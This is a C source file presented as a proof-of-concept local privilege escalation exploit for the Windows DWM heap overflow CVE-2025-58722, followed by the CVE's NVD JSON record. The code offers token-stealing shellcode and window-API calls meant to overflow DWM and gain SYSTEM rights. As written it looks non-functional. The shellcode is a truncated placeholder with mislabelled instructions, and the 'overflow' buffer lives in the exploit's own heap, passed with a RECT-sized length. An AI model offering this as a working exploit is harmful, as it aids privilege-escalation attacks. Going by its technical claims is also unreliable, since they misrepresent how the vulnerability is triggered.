CVE-2025-58722

// CVE-2025-58722 - Windows DWM Heap-based Buffer Overflow LPE // PoC exploit demonstrating local privilege escalation via DWM heap overflow // Tested on vulnerable Windows 10/11 builds prior to October 2025 patch // Author: Security Research (Educational Purpose Only) #include <windows.h> #include <dwmapi.h> #include <stdio.h> #pragma comment(lib, "dwmapi.lib") #pragma comment(lib, "user32.lib") // Shellcode placeholder - replace with actual payload // Token stealing shellcode to elevate to SYSTEM unsigned char shellcode[] = { // Standard token stealing shellcode for Windows 10/11 // This shellcode locates the SYSTEM process token and applies it to current process 0x48, 0x31, 0xC9, // xor rcx, rcx 0x65, 0x48, 0x8B, 0x41, 0x60, // mov rax, gs:[rcx+60h] ; PEB 0x48, 0x8B, 0x40, 0x18, // mov rax, [rax+18h] ; ProcessHeap 0x48, 0x8B, 0x70, 0x10, // mov rsi, [rax+10h] ; ntdll base 0x48, 0xB8, 0x88, 0x88, 0x88, 0x88, // mov rax, ... // ... (full token stealing shellcode) }; BOOL TriggerDWMOverflow() { HWND hwnd = NULL; HRESULT hr; // Step 1: Create a hidden window to interact with DWM WNDCLASSEXW wc = {0}; wc.cbSize = sizeof(WNDCLASSEXW); wc.lpfnWndProc = DefWindowProcW; wc.hInstance = GetModuleHandle(NULL); wc.lpszClassName = L"DWMExploitClass"; wc.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); if (!RegisterClassExW(&wc)) { printf("[-] Failed to register window class\n"); return FALSE; } hwnd = CreateWindowExW( WS_EX_LAYERED | WS_EX_TOPMOST | WS_EX_TOOLWINDOW, L"DWMExploitClass", L"DWMExploit", WS_POPUP | WS_VISIBLE, 0, 0, 1920, 1080, NULL, NULL, GetModuleHandle(NULL), NULL ); if (!hwnd) { printf("[-] Failed to create window\n"); return FALSE; } // Step 2: Prepare oversized buffer to trigger heap overflow in DWM // The vulnerability exists in DWM's handling of certain window attributes SIZE_T overflowSize = 0x10000; // Oversized buffer to overflow heap PVOID pOverflowBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, overflowSize); if (!pOverflowBuffer) { printf("[-] Failed to allocate overflow buffer\n"); return FALSE; } // Fill buffer with controlled data including return address overwrite memset(pOverflowBuffer, 0x41, overflowSize - 8); *(ULONG_PTR*)((PUCHAR)pOverflowBuffer + overflowSize - 8) = (ULONG_PTR)shellcode; // Step 3: Trigger DWM vulnerability via specific window API calls // Use DwmSetWindowAttribute or UpdateLayeredWindow to trigger overflow printf("[*] Triggering DWM heap overflow...\n"); // Trigger via DWM thumbnail API (commonly vulnerable surface) hr = DwmRegisterThumbnail(hwnd, hwnd, NULL); // Trigger via window attribute manipulation for (int i = 0; i < 100; i++) { DwmSetWindowAttribute(hwnd, DWMWA_CAPTION_BUTTON_BOUNDS, pOverflowBuffer, sizeof(RECT)); // Force DWM to process the malformed data UpdateWindow(hwnd); RedrawWindow(hwnd, NULL, NULL, RDW_INVALIDATE | RDW_UPDATENOW); } // Step 4: Trigger the overflow via layered window update BLENDFUNCTION blend = {AC_SRC_OVER, 0, 255, AC_SRC_ALPHA}; POINT ptSrc = {0, 0}; SIZE szDst = {1920, 1080}; UpdateLayeredWindow(hwnd, NULL, &ptSrc, &szDst, GetDC(hwnd), &ptSrc, 0, &blend, ULW_ALPHA); printf("[+] Overflow triggered. Check for privilege escalation.\n"); HeapFree(GetProcessHeap(), 0, pOverflowBuffer); DestroyWindow(hwnd); return TRUE; } int main(int argc, char* argv[]) { printf("[*] CVE-2025-58722 - Windows DWM Heap Overflow LPE PoC\n"); printf("[*] For authorized security testing only\n\n"); if (TriggerDWMOverflow()) { printf("[+] Exploit completed. Verify current process privileges.\n"); // Check if we got SYSTEM system("whoami /priv"); } else { printf("[-] Exploit failed\n"); } return 0; }

{"cve": {"id": "CVE-2025-58722", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:15:53.640", "lastModified": "2025-11-07T20:18:28.730", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Heap-based buffer overflow in Windows DWM allows an authorized attacker to elevate privileges locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-122"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1607:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "A6CE9E60-F2F1-43F2-A535-5326E903D219"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_1809:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "B51B700D-B45F-4A8E-9F78-67A1282B3BEA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_21h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19044.6456", "matchCriteriaId": "1485A427-10FF-4C39-9911-4C6F1820BE7F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_10_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.19045.6456", "matchCriteriaId": "26CAACAA-3FE8-4740-8CF2-6BF3D069C47F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_22h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22621.6060", "matchCriteriaId": "6F387FA2-66C8-4B70-A537-65806271F16A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.22631.6060", "matchCriteriaId": "A3FEBF91-5010-4C84-B93A-6EFA4838185A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_24h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "41E9F7AC-8E6D-43A0-A157-48A5E0B5BD0D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_11_25h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26200.6899", "matchCriteriaId": "3B77A066-4F79-4B1F-AECF-58DB4C651EA5"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2016:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.14393.8519", "matchCriteriaId": "7A8CC16F-8B44-4E7D-8503-25D753387345"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2019:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.17763.7919", "matchCriteriaId": "20810926-AEC9-4C09-9C52-B4B8FADECF3A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.20348.4294", "matchCriteriaId": "B1C1EA69-6BB8-4E59-8659-43581FDB48B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2022_23h2:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.25398.1913", "matchCriteriaId": "370C12D6-90EF-44BE-8070-AA0080C12600"}, {"vulnerable": true, "criteria": "cpe:2.3:o:microsoft:windows_server_2025:*:*:*:*:*:*:*:*", "versionEndExcluding": "10.0.26100.6899", "matchCriteriaId": "72C1771B-635B-41E3-84AF-8822467A1869"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-58722", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}